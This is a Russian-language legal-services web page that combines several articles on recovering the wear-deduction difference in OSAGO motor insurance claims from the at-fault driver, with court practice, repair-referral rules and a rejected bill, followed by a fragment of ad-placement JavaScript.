Осаго без учета износа

Износ с виновника ДТП по ОСАГО – как взыскать, насколько законно и как избежать?

  1. Разницу между расчётом без износа и с таковым по ОСАГО можно возместить напрямую с виновника ДТП – это законно и вполне реально.
  2. Но для этого обязательно нужно иметь доказательства фактически затраченных денег на ремонт для восстановления авто.
  3. Исключение также составляет европротокол – в этом случае получить ничего не получится ни с виновника, ни со страховой компании.
  4. Избежать выплату виновнику довольно сложно, но можно уменьшить сумму.

ОСАГО работает не в полной мере по части покрытия полного ущерба потерпевшему в ДТП. Это известно с самого основания этого вида страхования. Вот только новая возможность даёт право взыскать разницу с учётом износа и без такового напрямую с виновника аварии. Насколько это законно, какова правильная процедура взыскания и можно ли получить выплату полной суммы покрытия на ремонт, как правильно написать претензию виновнику и другие тонкости нашего вопроса мы и рассмотрим в статье.

Как работает ОСАГО по вопросу износа?

В первую очередь, нам нужно понимать, что ОСАГО призвано страховать ответственность водителя при наступлении страхового случая. Проще говоря, если вы оказались в результате ДТП должны кому-то денег за причинённый ущерб, то ОСАГО платит за вас. Но не всё (и не сразу, к сожалению)!

  • выплата или ремонт осуществляются с учётом износа запчастей и деталей кузова,
  • износ не учитывается на работы и услуги автосервиса.

Что же получается, мы платим за страховку, порой немалую сумму, которая растёт с каждым годом, но ещё и сами должны доплачивать за восстановление авто после аварии? Именно так и работало ОСАГО почти 20 лет. Пока не пришёл Конституционный суд и не стукнул молотком, вынеся соответствующее постановление.

Что произошло?

Всё очень просто. У любого человека есть право на свою собственность, которую он купил за свои деньги – это конституционное право. Исходя из простого наличия такого права, логично заключить, что и вред, причинённый такой собственности, подлежит возмещению в гражданском порядке. У вас есть автомобиль, если его кто-то ударил, то по закону обязан возместить вред в той степени, чтобы привести машину в изначальное состояние.

Но что такое изначальное состояние? Это определённо б/у автомобиль – значит, и обязанность у виновника есть заплатить за б/у запчасти. Логично? Да. Вот только купить такие запчасти и детали с пробегом в строгом соответствии с изношенностью вашего авто вы вряд ли сможете. Поэтому правильнее было бы возмещать виновнику вред с учётом износа, но по фактическим затратам владельца машины на такое восстановление.

Именно этого же мнения и придержался Конституционный суд.

Что же произошло? А вот что! До марта 2017 года нормальной была практика, когда страховая считала причинённый ущерб с учётом износа, выплачивала потерпевшему по ОСАГО, и на этом всё – все расходились, а собственник в итоге доплачивал свои деньги за ремонт.

Изредка вспыхивали судебные дела по вопросу нехватки выплаченных денег на ремонт, но судебная практика сложилась такая, что все попытки владельца машины отстоять своё конституционное право на собственность разбивались о законодательство – автомобиль, попавший в аварию, не новый, поэтому Единая методика рассчитана на учёт износа деталей, а то, что б/у детали нигде не купить, в законе не прописано, и точка.

10 марта 2017 года Конституционный суд вынес постановление, согласно которому было утверждено, что всё верно – Единая методика считает возмещение с учётом износа, однако, если потерпевшему не хватает этих денег, то он может уверенно взыскать износ с виновника ДТП.

В таком решении КС сослался на статью 1072 Гражданского кодекса, в которой прямо говорится о том, что, если денег по страховому возмещению на восстановление не хватает, то выгодоприобретатель (владелец повреждённого авто) вправе взыскать эти деньги напрямую с виновника ДТП.

Таким образом, основные выводы из Постановления такие:

  1. расчёт страхового возмещения с учётом износа, согласно Единой методики, правилен по закону,
  2. но если этого возмещения потерпевшему не хватает для покрытия ремонта, то тот вправе взыскать сумму (разницу между расчётом без износа и с таковым) напрямую с виновника ДТП.

Но только, если речь не о европротоколе!

А вот в случае с европротоколом, подписываясь в качестве потерпевшего, вы даёте согласие на выплату вам суммы от страховой без каких-либо прав после этого.

Объясним, в чём здесь дело. Казалось, какая разница в контексте взыскания износа с виновника, по европротоколу оформлена авария или же с сотрудниками ГИБДД?! Возмещение и в том, и в этом случае производится по одной методике, а никаких разногласий с Конституцией и ГК здесь нет.

Но в дело вмешивается другой нормативно-правовой акт. Речь идёт о ППВС №2 от 25.01.2015. В пункте 39 этого постановления констатируется ряд важных фактов:

  • оформление европротокола – это упрощённая форма получения возмещения по ОСАГО,
  • как следствие, сам факт упрощённости означает прекращение любых прав требования как к страховой компании, так и к виновнику по вопросу износа, после произведения выплаты потерпевшему.

При этом, идёт ссылка на статью 408 ГК, что по сути приравнивает европротокол к своего рода расписке, которую виновник выдаёт потерпевшему, а потерпевший на её основе получает выплату, и после того, как будет произведено возмещение, исполнение признаётся надлежащим и завершённым.

Поэтому, если ДТП было оформлено с помощью европротокола, а страховая выплатила с учётом износа недостаточно, то взыскать разницу без учёта износа ни с виновника аварии, ни со страховой в 2019 году уже нельзя.

Как взыскать износ с виновника?

Если вы оказались потерпевшей стороной в ДТП, то инструкция по взысканию по ОСАГО износа достаточно проста.

Ситуация с получением возмещения от страховой стандартна:

  1. на основании документов и вместе с ними вы подаёте заявление о получении возмещения по ОСАГО в страховую компанию,
  2. в течение 20 дней после подачи всех документов страховая обязана произвести выплату или дать направление на ремонт (на своё усмотрение),
  3. по итогам выплаты вы понимаете, что суммы недостаточно, либо направление на ремонт сопровождается требованием доплатить автосервису, так как работники последнего не соглашаются ремонтировать авто за те деньги, что перечислила им страховая.

И теперь для вас возможны 2 варианта взыскания денег.

Первый способ

  1. вы не рассчитываете отдельно сумму, подлежащую возмещению, а вместо этого получаете в страховой акт расчёта – там всегда будут указаны 2 суммы: с износом и без; у нас есть специальная статья о том, как получить акт калькуляции страховой,
  2. далее вам нужно в первую очередь предложить виновнику в добровольном порядке предложить возместить разницу с учётом износа,
  3. в случае отказа необходим написать досудебную претензию виновнику, где привести расчёт, приложить копию акта расчёта страховой и преложить возместить указанную сумму в разумный срок (указывается обычно от 10 до 20 дней),
  4. в случае неудовлетворения «досудебки» вам следует подавать иск в суд на виновника, иск подаётся в мировой суд, если стоимость спора по износу не превышает 50 тысяч рублей, или в районный, если превышает; иск подаётся по месту нахождения ответчика – то есть по адресу регистрации виновника.

Второй способ

Второй вариант аналогичен первому, с теми лишь различиями, что:

  • вместо получения акта расчёта страховой вы заказываете независимую экспертизу, по результату которой получаете новую оценку ущерба, которая, как правило, выше расчёта страховой, но экспертиза тоже стоит отдельных денег (которые в случае выигрыша суда также возмещаются виновником),
  • подаёте досудебную претензию уже по двум адресатам:
    • в страховую – разницу между выплаченной суммой с учётом износа и рассчитанной независимым экспертом также с учётом,
    • виновнику – разницу между оценкой суммы без учёта износа независимым экспертом и оценкой с учётом износа по расчёту также независимой экспертизы,
  • в случае отказа в удовлетворении досудебки вы также подаёте в суд на этих ответчиков; при этом, иск подаётся один, но указываются оба ответчика с просьбой установить надлежащего ответчика и соответчика.

На этапе подачи иска в суд крайне рекомендуем обратиться к экспертному юристу, так как само написание искового заявления – процедура непростая, а в суде есть ещё ряд тонкостей, которые нужно знать. Так, вам необходимо будет по запросу судьи подтвердить реальные расходы на восстановление автомобиля.

Образец претензии виновнику

Ниже приводим бланки-образцы 2 претензий по указанным выше инструкциям возмещения амортизации с виновника ДТП: по акту расчёта страховой и по независимой экспертизе.

В страховую также необходимо подать «досудебку», просто изменив требование и приложив те же документы.

Обратите внимание, что под копиями акта расчёта подразумеваются не отксерокопированные документы, а копии, полученные у соответствующей организации (страховой или независимого эксперта) и заверенные ими (подпись и печать или штамп).

В обоих случаях потерпевший в случае отказа в удовлетворении досудебного требования также может предъявить возмещение морального среда, но уже в рамках иска в суд.

Что говорит о взыскании износа по ОСАГО судебная практика 2019 года?

Чаще всего при подаче иска в суд таковой подлежит удовлетворению. Но есть и обратные решения в судебной практике. Здесь следует уточнить несколько тонкостей:

  • довольно часто судья может потребовать от истца, помимо представленного акта расчёта или независимой оценки, доказательства фактически понесённых расходов на восстановление авто – чеки, акты выполненных работ, заказ-наряды из автосервиса о том, что вы, действительно, потратили запрашиваемые с виновника в виде износа деньги; но если автомобиль вы продали, то судья поймёт, что объективно подтвердить затраты вы не сможете,
  • нередко ответчик может ходатайствовать (просить) суд о проведении судебной экспертизы, которая может насчитать совсем иную сумму ущерба, поэтому, если вдруг эксперт оказался вашим знакомым, который специально насчитал очень много, то в итоге вы получите денег столько, сколько начитает судебный эксперт, плюс понесёте расходы на оплату судебной экспертизы, которая может стоить очень дорого (в среднем от 20 до 40 тысяч рублей),
  • в суде вы не можете требовать с виновника то, что могли бы требовать от страховой – штраф за неудовлетворение досудебной претензии и неустойку за просрочку выплаты,
  • если вы наймёте юриста для представления ваших интересов в суде, то они также возмещаются вам проигравшей стороной.

Решения судов о взыскании с виновника ущерба без учёта износа

  • Оренбургский суд частично удовлетворил иск автолюбителя к страховой и напрямую к виновнику ДТП по ОСАГО, взыскав с виновника разницу суммы без учёта износа, а со страховой уменьшив неустойку.
  • Суд в Саратове же постановил отказать в возмещении потерпевшему в аварии на основании того, что тот не предоставил доказательств фактически понесённых расходов на ремонт, а Постановление Конституционного суда не предполагает безусловного взыскания изнашивания авто с виновника без доказательств фактически понесённых затрат на оплату услуг автосервиса и покупки деталей.
  • Ещё один отклонённый иск к виновнику о взыскании без учёта износа при полученной компенсации со страховой с учётом такового. В удовлетворении иска отказано, так как истец не предоставил доказательств фактически понесённых расходов.

Как избежать взыскания износа самому виновнику?

Теперь поговорим о ситуации избегания такого требования по ОСАГО, заняв другую сторону – виновника ДТП.

Как видно из судебной практики 2019 года выше, отказу в таком взыскании чаще всего подлежат иски, где истец не смог подтвердить реально понесённые расходы на ремонт транспортного средства. При этом, чаще всего экспертная оценка бывает значительно выше, чем можно фактически отремонтировать автомобиль по сумме.

Но плохие новости заключаются в том, что, к сожалению, если потерпевший всё может представить в суде доказательства фактически понесённых расходов, и они будут выше выплаченных ему денег страховой компанией по ОСАГО, то судья с большой долей вероятности удовлетворит иск, а вместе с ним и услуги представителя истца, расходы на экспертизу и моральный вред.

Таким образом, вам придётся выбрать из двух зол:

  • выплатить указанную разницу по износу в досудебной претензии потерпевшего, где сумма по экспертной оценке, скорее всего, будет завышена,
  • ожидать суда, где истец может и не подтвердить реально затраченные деньги расходы на ремонт, и судья откажет в иске, либо сможет, но тогда сумма, скорее всего, окажется меньше той, что указана в «досудебке», но вам также придётся выплатить услуги представителя, а также небольшой моральный вред.

ОСАГО без износа

201002161925_132395

ИЗНОШЕННЫЕ ПРАВИЛА

Итак, суть большинства жалоб на страховые компании: денег, полученных по ОСАГО, не хватает на полноценный ремонт. Проблема в следующем. Страховые компании определяют сумму ущерба по специальным правилам, где записано: при определении размера восстановительных расходов учитывается износ деталей (пункт 63 Правил обязательного страхования гражданской ответственности владельцев транспортных средств; утверждены постановлением Правительства РФ от 07.05.2003 года № 263).

Другими словами, чем старше автомобиль, тем меньше денег заплатит страховая компания. Именно это положение и не дает большинству потерпевших отремонтировать поврежденные автомобили на деньги, полученные по страховке. Новый бампер взамен разбитого на пятилетний автомобиль? Не положено! Ведь старый стал за эти годы дешевле вполовину; значит, такой и нужно искать для замены. Только где его взять? Вот и приходится пострадавшим доплачивать свои кровные для покупки новой детали. Я здесь не рассматриваю случаи возможного мошенничества – это другая тема. Но насколько вообще законно такое положение?

КТО ВАЖНЕЕ?

Вообще-то, закон закрепляет за потерпевшими право полного возмещения убытков (статьи 15 и 1064 Гражданского кодекса РФ). То есть потерпевший вправе требовать компенсации всех расходов, необходимых для ремонта автомобиля. Возмещение ущерба в рамках ОСАГО должно производиться на основании федерального закона от 25.04.2002 года № 40-ФЗ «Об обязательном страховании гражданской ответственности владельцев транспортных средств» и принятых позже (но в соответствии с этим же законом) Правил ОСАГО. В законе «Об обязательном страховании гражданской ответственности владельцев транспортных средств» не предусмотрено ограничение страховой выплаты в связи с состоянием, в котором находилось имущество на момент причинения вреда. То есть страховая выплата по ОСАГО должна производиться без учета износа. Но при этом в Правилах ОСАГО появился злосчастный пункт про износ! Выходит, это положение противоречит закону. Но, похоже, такая ситуация вполне устраивает страховщиков, и при расчетах они пользуются именно Правилами – в таком случае им надо платить меньше.

В законе об ОСАГО не предусмотрено ограничение страховой выплаты в связи с состоянием, в котором находилось имущество на момент причинения вреда. То есть страховая выплата должна производиться без учета износа!

СУДЕБНО-СТРАХОВОЙ СОЮЗ

Вынужден констатировать: суды общей юрисдикции, где рассматривают споры между автовладельцами и страховщиками, в большинстве случаев занимают позицию последних. Так уж повелось на практике, и такую точку зрения поддержал Верховный суд (решение ВС РФ от 25.11.2003 года № ГКПИ03-1266). Суд указал, что положения пункта 63 Правил ОСАГО о необходимости учета износа деталей полностью соответствуют требованиям статьи 15 ГК РФ, поскольку позволяют… «потерпевшему отремонтировать автомобиль и исключить обогащение с его стороны». Честно говоря, с точки зрения обычного человека, решение абсурдное. Как можно отремонтировать автомобиль, если вместо необходимых, к примеру, 100 тысяч рублей страховая компания выплачивает половину? А если поставить новые детали подвески вместо изуродованных в аварии – выходит, водитель при этом обогатится? И еще: учел ли суд, что установка бэушных деталей противоречит другому закону – «О безопасности дорожного движения»?

Словом, решение ВС вызывает немало вопросов. Поэтому даже не все суды (!) занимают такую же позицию. И нередко принимают решения в пользу автовладельцев. Не так давно мне удалось добиться взыскания со страховой компании выплаты без учета износа (ЗР, 2009, № 10). Поэтому попытаюсь изложить свои доводы для тех, кто окажется в сходной ситуации.

Президиум Высшего арбитражного суда Российской Федерации (ВАС РФ) пришел к выводу, что страховое возмещение по ОСАГО должно выплачиваться без учета износа (постановление Президиума ВАС РФ от 20.02.2007 года № 13377/06). Поводом для этого стал спор между двумя страховыми компаниями о взыскании ущерба, причиненного застрахованным лицом. ВАС как раз руководствовался положениями закона (он принят Госдумой), как акта, имеющего большую юридическую силу по сравнению с Правилами (утверждены Правительством РФ), и удовлетворил требование страховой компании о возмещении ущерба в размере стоимости ремонта автомобиля без учета его износа. Правда, это постановление обязательно к исполнению только в арбитражных судах (они решают споры между юридическими лицами), но никто не запрещает применять его «по аналогии». В таком случае появляются шансы реально отстоять свои интересы и в судах общей юрисдикции.

Как я уже говорил, мне уже удавалось сделать это, причем дважды. К сожалению, прецедентное право у нас в стране не работает, каждый раз приходится собирать всю юридическую доказательную базу заново. Но я все-таки надеюсь на то, что порочная практика, когда суды однозначно толкуют положения закона в пользу страховой компании, изменится, а принципиальное противоречие между двумя актами будет устранено. А пока советую читателям, у которых возникли аналогичные споры со страховыми компаниями, требовать выплаты без учета износа, не бояться отстаивать свои права в суде.

Правила направления на ремонт по ОСАГО
и сроки процедуры

Общие положения

Страхование гражданской ответственности владельцев транспортных средств регулируется ФЗ №40 «Об ОСАГО». Он был принят 25 апреля 2002 года, после чего неоднократно дополнялся и изменялся, постепенно приспосабливаясь к современным условиям. Также некоторые вопросы регламентируются Правилами обязательного страхования, входящими в приложение к Положению Центрального банка №431 от 19 сентября 2014 года.

В соответствии с нормами упомянутых нормативно-правовых актов при повреждении автомобиля в результате ДТП может быть проведен ремонт по ОСАГО, либо выплачена денежная компенсация. При этом владелец транспорта не выбирает, что ему подходит больше. Решение остается за страховой.

Направление на ремонт

Очень важно соблюдать установленный порядок действий для получения направления на ремонт:

  1. Оформить аварию должным образом.
  2. Оповестить страховую компанию о происшествии отправкой соответствующего уведомления.
  3. Собрать пакет документов, составить заявление на перечисление страховой суммы и передать все это страховщику.
  4. Предоставить на осмотр транспортное средство в течение 5 дней после отправки заявления.

Нужно помнить, что в некоторых случаях машину могут отправить на дополнительную независимую экспертизу. В ч.11 ст.12 профильного закона №40 указано, что она проводится в том случае, когда между страховой и автовладельцем не достигнуто согласие по поводу характера и количества повреждений. Если собственник машины не предоставляет ее к осмотру в указанные сроки (5 дней) и отправляет транспортное средство на экспертизу самостоятельно, результаты подобной оценки приняты во внимание не будут.

Среди документов, которые следует предоставить в страховую организацию:

  • заявление о возмещении;
  • извещение о происшествии;
  • паспорт собственника легкового автомобиля;
  • свидетельство о регистрации;
  • полис ОСАГО;
  • протокол о ДТП, постановление ГИБДД;
  • иные значимые для разбирательства справки и квитанции

Профильный закон устанавливает, что решение о выдаче направления в мастерскую должно быть принято в течение 20 дней со дня поступления в страховую уведомления о происшествии с пакетом документов. При этом считаются все календарные дни, кроме праздничных. В сам бланк направления включаются такие данные, как:

  • информация о потерпевшем лице;
  • реквизиты полиса;
  • сведения о транспортном средстве (марка, регистрационный номер);
  • сроки проведения восстановительных работ;
  • название организации, которая будет заниматься ремонтом, ее место расположения и реквизиты.

В случае если у страховщика имеется договоренность с СТО, то он вправе выбрать любой подходящий сервисный центр для ремонта из перечня доступных.

Правила и сроки ремонта

Что касается сроков восстановительного ремонта, то они иногда достигают 30 дней с момента доставки транспортного средства в техцентр. Соответственно, от ДТП до получения машины обратно может пройти до 2 месяцев. Не каждый готов столько ждать, поэтому порой люди соглашаются на не слишком выгодную денежную выплату (если она была предложена).

На ремонт машина направляется на СТО, с которыми у страховой есть договор. Если их несколько и они все удовлетворяют требованиям, то компания выбирает любую из них. Исключений из упомянутого правила два:

  • при подписании договора об ОСАГО владелец машины выбрал конкретную техстанцию;
  • страхователь заранее уведомил о желании провести ремонтные работы на конкретной СТО, и страховщик согласился с данным ходатайством.

Согласно нормам актуального законодательства при проведении ремонта по ОСАГО должны быть соблюдены следующие правила:

  • машины, которым до 2 лет, направляются на обслуживание к дилеру;
  • расстояние до мастерской не может превышать 50 км от места, где проживает потерпевшее лицо;
  • срок гарантии составляет полгода для всех действий, кроме покрытия лаком или краской, а также кузовных работ. Для последних он равен одному году.

По окончании ремонтных работ собственник осматривает автомобиль. Если все нормально и претензий нет, он подписывает акт приема-передачи. Свою подпись ставить не следует в случае недовольства качеством оказанных услуг.

Когда сроки ремонта прошли, а машина не была возвращена владельцу, страховщик платит неустойку. Она равна 0,5% за каждый дополнительный день. При обнаружении недостатков владелец автомобиля вправе в письменном виде предъявить претензии страховой компании. Именно она является ответственной за проведение ремонта должным образом и в установленные сроки.

Если хозяин машины недоволен качеством оказанных услуг, сначала он пытается разрешить спорную ситуацию в досудебном порядке. То есть он отправляет претензию в страховую. На ее рассмотрение дается 10 дней, по истечении которых выносится обоснованное решение. В случае если оно не в пользу заявителя, дело передается в суд.

Денежных выплат по ОСАГО без учёта износа ждать не стоит

Законопроект о выплатах по «автогражданке» без учёта износа ещё осенью прошлого года подготовили депутаты Госдумы.

В России на сегодняшний день установлен приоритет натуральной формы возмещения ущерба над денежными выплатами в ОСАГО. При этом автомобили клиентов разрешается ремонтировать только с использованием новых автозапчастей. Пусть неоригинальных, но не «б/у». Однако не все машины можно починить таким образом (например, машина старая и новые детали для неё уже давно не производят).

Помимо этого, бывают и другие случаи, когда страховщику проще не отправлять машину на ремонт, а произвести выплату деньгами (такая форма компенсации была намного популярнее раньше). В подобных случаях страховщики имеют право учитывать износ деталей, так как, согласно договору, автомобилю нужно вернуть прежнее состояние, то есть то, которое у него было до ДТП.

Однако не все считают это справедливым. Так, группа депутатов Госдумы от фракции «Справедливая Россия» ещё в ноябре 2018 года предложила для рассмотрения законопроект, согласно которому денежные выплаты по ОСАГО должны производиться клиентам без учёта износа.

Сейчас эту инициативу рассмотрели в Министерстве финансов РФ: поддержки она не нашла. Ведомство подготовило отрицательный отзыв на предложение уравнять условия возмещения ущерба в ОСАГО в натуральной форме и в денежной, об этом сообщает «Интерфакс».

В ведомстве считают, что из-за уравнивания условий возмещения ущерба, скорее всего, понадобится пересмотреть страховые тарифы, то есть ОСАГО подорожает. А так как сейчас Минфин, Центробанк и страховые компании начали реформу этого сегмента страхования, это повлечёт за собой негативные последствия. Также в министерстве отметили, что в пояснительной записке к законопроекту нет анализа последствий, которые вызовут изменения.

При этом в Минфине добавили, что согласно Гражданскому кодексу РФ, у пострадавшего есть право на возмещение вреда в полном объёме. Однако, по их мнению, нести ответственность за дополнительные траты потерпевшего на покупку новых комплектующих должен именно причинитель вреда, а не страховщик. В итоге, несмотря на отрицательный отзыв, в ведомстве отметили, что «цель законопроекта заслуживает внимания».

Ранее сам Минфин выступал с предложением, из-за которого, в случае одобрения, могут повыситься цены на ОСАГО. Речь идёт о том, чтобы увеличить в 4 раза выплаты по жизни и здоровью. Сейчас максимальный размер составляет 500 тыс. рублей, но по мнению ведомства, нужно поднять сумму до 2 млн рублей. Повышение лимитов предлагается провести поэтапно, сроки реализации идеи пока не определены.

Возмещение ущерба по ОСАГО без износа

В случае ДТП полис ОСАГО должен защищать виновника аварии от финансовых потерь и гарантировать пострадавшему водителю возмещение ущерба. Практика, в том числе и судебная, показывает, что это не так, раньше полис ОСАГО защищал только виновника ДТП, не позволяя пострадавшему получить полное возмещение ущерба, а 10 марта 2017 марта Конституционный суд РФ вынес Постановление № 6-П, которое вносит изменения в порядок компенсации убытков при авариях, теперь закон об ОСАГО не только не направлен на защиту интересов пострадавшего в ДТП, а защищает исключительно интересы страховых компаний!

Что изменилось?

В рамках ОСАГО полученные в аварии повреждения оценивались с учетом износа комплектующих (за исключением отдельных групп). Рассчитанная страховщиком сумма обычно не покрывала всех затрат на ремонт автомобиля. Если при оценке оказывалось, что ремонт обойдется в сумму, которая превышает лимит компенсации по ОСАГО, разницу взыскивали с виновника аварии. Износ запчастей при этом также учитывался и пострадавший вынужден был искать б/у запчасти для ремонта своего авто.

В марте 2017-го года Конституционный суд постановил, что при взыскании ущерба с виновного в ДТП водителя степень износа комплектующих учитывать не стоит. В сумму компенсации включается стоимость новых запчастей и фактически понесенных расходов. При этом страховщик компенсирует ущерб как раньше, рассчитывая размер выплаты по Единой Методике (следует читать «по кривым справочникам РСА») да еще и с учетом степени износа.

Последствия этого решения Конституционного суда однозначно негативные для всех участников ДТП, кроме страховщиков:

  • бремя компенсации убытков в большей степени возлагается на виновника ДТП (чья автогражданская ответственность должна быть защищена полисом ОСАГО). Страховая компания возмещает ущерб по Единой Методике ЦБ РФ, учитывая износ комплектующих (при денежной выплате). При натуральном возмещении лимит компенсации по ОСАГО продолжает действовать. Если пострадавший в аварии автовладелец не удовлетворен, он не может предъявлять финансовые претензии к страховщику, а вынужден обращаться к виновнику ДТП, не учитывая износ комплектующих. Например, если на 20-летней иномарке повреждено и должно быть заменено ржавое крыло, ответчик должен будет оплатить стоимость новой кузовной детали;
  • для пострадавших водителей получение компенсации усложняется. Требовать возмещения убытков от виновника ДТП можно только через суд. Финансовые претензии при этом нужно обосновать, выполнив оценку повреждений, рассчитав стоимость восстановительного ремонта. Даже если суд примет решение в пользу истца, нет гарантий, что компенсация будет получена пострадавшим — исполнительное производство может затянуться на годы.

Куда применяется постановление КС от 10.03.2017 г?

Страховые компании повально начали пользоваться этим постановлением. Если в ДТП пострадал автомобиль застрахованный по КАСКО, то страховщики забывают о недавней экономии, проявляют лояльность к своему страхователю, и с невиданной легкостью отправляют такие автомобили, не глядя на их возраст, на дилерские станции. Где ремонтируют их по завышенным (по сравнению с обычными СТОА) ценам. А спустя некоторое время предъявляют иск к виновнику ДТП*, требуя доплаты разницы между выплатой по ОСАГО и фактическим ремонтом, даже если ущерб не превышает лимита выплаты страховой компании.

Приведем пример: пострадавший автомобиль Toyota Land Cruiser 200 год выпуска 2014 застрахован по КАСКО и получил повреждения в виде разбитого переднего бампера, который надо менять.
Ремонт на дилерской станции составит ориентировочно 45 тысяч рублей.
Стоимость бампера у дилера около 33 тысяч и работы по замене и окраске около 12 тысяч.
Компенсационная выплата по ОСАГО составит примерно 11-12 тысяч рублей.
Бампер по справочнику РСА — 6 тыс. рублей (минус износ — процентов 30-40) остается 4 тыс. рублей, работы по замене и окраске по Единой Методике примерно 7 тыс. рублей.
Значит виновник должен доплатить.
Внимание. 45-11=34 тысячи рублей!
И главное – все по закону.

Возникает резонный вопрос: Зачем нужна такая страховка?

Ответить на него, на текущий момент, мы не в состоянии.

Как действовать правильно?

Если вы не виноваты в аварии. Порядок действий стандартный: после ДТП нужно обратиться в страховую компанию, оценить ущерб, получить возмещение. Если возмещение не покрывает фактических затрат на ремонт, понадобятся доказательства этого (оценка фактического ущерба, документы от страховой компании и т.п.). Финансовые претензии должны быть адекватными. Если заявленная истцом сумма убытка больше стоимости всего автомобиля (если речь идет о старой машине, например), в удовлетворении иска наверняка будет отказано.

Если вы виноваты в ДТП. Желательно фиксировать фактические повреждения второго автомобиля (сделать фото на месте аварии). Если при возмещении ущерба страховщиком сумма компенсации была меньше предусмотренного ОСАГО лимита, страховщика привлекают как соответчика. Ответчик также может предлагать собственные способы возмещения причиненного вреда, например натурный ремонт поврежденного автомобиля. Этим стоит пользоваться, если финансовые претензии сильно завышены, и для старой иномарки истец требует, например, ремонта у дилерской станции.

Компания «Инвест Консалтинг» выполняет оценку ущерба, причиненного автомобилям в ДТП, у нас работают автоюристы, мы эффективно защищаем финансовые и правовые интересы автовладельцев.

Юридическая помощь

Нажимая кнопку «Отправить», вы автоматически выражаете согласие на обработку своих персональных данных и принимаете условия Пользовательского соглашения.

Ссылка на основную публикацию
Adblock
detector
":'':"",document.createElement("div"),p=ff(window),b=ff("body"),m=void 0===flatPM_getCookie("flat_modal_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_modal_"+o.ID+"_mb"),i="scroll.flatmodal"+o.ID,g="mouseleave.flatmodal"+o.ID+" blur.flatmodal"+o.ID,l=function(){var t,e,a;void 0!==o.how.popup.timer&&"true"==o.how.popup.timer&&(t=ff('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.popup.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))},f=function(){void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie&&m&&(flatPM_setCookie("flat_modal_"+o.ID+"_mb",!1),ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l()),void 0!==o.how.popup.cookie&&"false"==o.how.popup.cookie||(ff('.flat__4_modal[data-id-modal="'+o.ID+'"]').addClass("flat__4_modal-show"),l())},ff("body > *").eq(0).before('
'+c+"
"),w=document.querySelector('.flat__4_modal[data-id-modal="'+o.ID+'"] .flat__4_modal-content'),-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.popup.px_s?(p.bind(i,function(){p.scrollTop()>o.how.popup.after&&(p.unbind(i),b.unbind(g),f())}),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){p.unbind(i),b.unbind(g),f()})):(v=setTimeout(function(){b.unbind(g),f()},1e3*o.how.popup.after),void 0!==o.how.popup.close_window&&"true"==o.how.popup.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),f()}))),void 0!==o.how.outgoing){function n(){var t,e,a;void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer&&(t=ff('.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_timer span'),e=parseInt(o.how.outgoing.timer_count),a=setInterval(function(){t.text(--e),e<=0&&(clearInterval(a),t.parent().replaceWith(''))},1e3))}function d(){void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie&&m&&(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n(),b.on("click",'.flat__4_out[data-id-out="'+o.ID+'"] .flat__4_cross',function(){flatPM_setCookie("flat_out_"+o.ID+"_mb",!1)})),void 0!==o.how.outgoing.cookie&&"false"==o.how.outgoing.cookie||(ff('.flat__4_out[data-id-out="'+o.ID+'"]').addClass("show"),n())}var _,u="0"!=o.how.outgoing.indent?' style="bottom:'+o.how.outgoing.indent+'px"':"",c="true"==o.how.outgoing.cross?void 0!==o.how.outgoing.timer&&"true"==o.how.outgoing.timer?'
Закрыть через '+o.how.outgoing.timer_count+"
":'':"",p=ff(window),h="scroll.out"+o.ID,g="mouseleave.outgoing"+o.ID+" blur.outgoing"+o.ID,m=void 0===flatPM_getCookie("flat_out_"+o.ID+"_mb")||"false"!=flatPM_getCookie("flat_out_"+o.ID+"_mb"),b=(document.createElement("div"),ff("body"));switch(o.how.outgoing.whence){case"1":_="top";break;case"2":_="bottom";break;case"3":_="left";break;case"4":_="right"}ff("body > *").eq(0).before('
'+c+"
");var v,w=document.querySelector('.flat__4_out[data-id-out="'+o.ID+'"]');-1!==e.indexOf("go"+"oglesyndication")?ff(w).html(c+e):flatPM_setHTML(w,e),"px"==o.how.outgoing.px_s?(p.bind(h,function(){p.scrollTop()>o.how.outgoing.after&&(p.unbind(h),b.unbind(g),d())}),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){p.unbind(h),b.unbind(g),d()})):(v=setTimeout(function(){b.unbind(g),d()},1e3*o.how.outgoing.after),void 0!==o.how.outgoing.close_window&&"true"==o.how.outgoing.close_window&&b.bind(g,function(){clearTimeout(v),b.unbind(g),d()}))}ff('[data-flat-id="'+o.ID+'"]:not(.flat__4_out):not(.flat__4_modal)').contents().unwrap()}catch(t){console.warn(t)}}function flatPM_start(){ff=jQuery;var t=flat_pm_arr.length;flat_body=ff("body"),flat_userVars.init();for(var e=0;eflat_userVars.textlen||void 0!==a.chapter_sub&&a.chapter_subflat_userVars.titlelen||void 0!==a.title_sub&&a.title_sub.flatPM_sidebar)");0<_.length&&_.each(function(){var t=ff(this),e=t.data("height")||350,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)}),u.each(function(){var e=ff(this).find(".flatPM_sidebar");setTimeout(function(){var o=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;o<300||e.each(function(){var t=ff(this),e=o,a=t.data("top");t.wrap('
');t=t.parent()[0];flatPM_sticky(this,t,a)})},50),setTimeout(function(){var t=(ff(untilscroll).offset().top-e.first().offset().top)/e.length;t<300||ff(".flatPM_sticky_wrapper.flatPM_sidebar_block").css("height",t)},4e3)}),"undefined"!=typeof flat_pm_video&&flatPM_video(flat_pm_video),0 *").last().after('
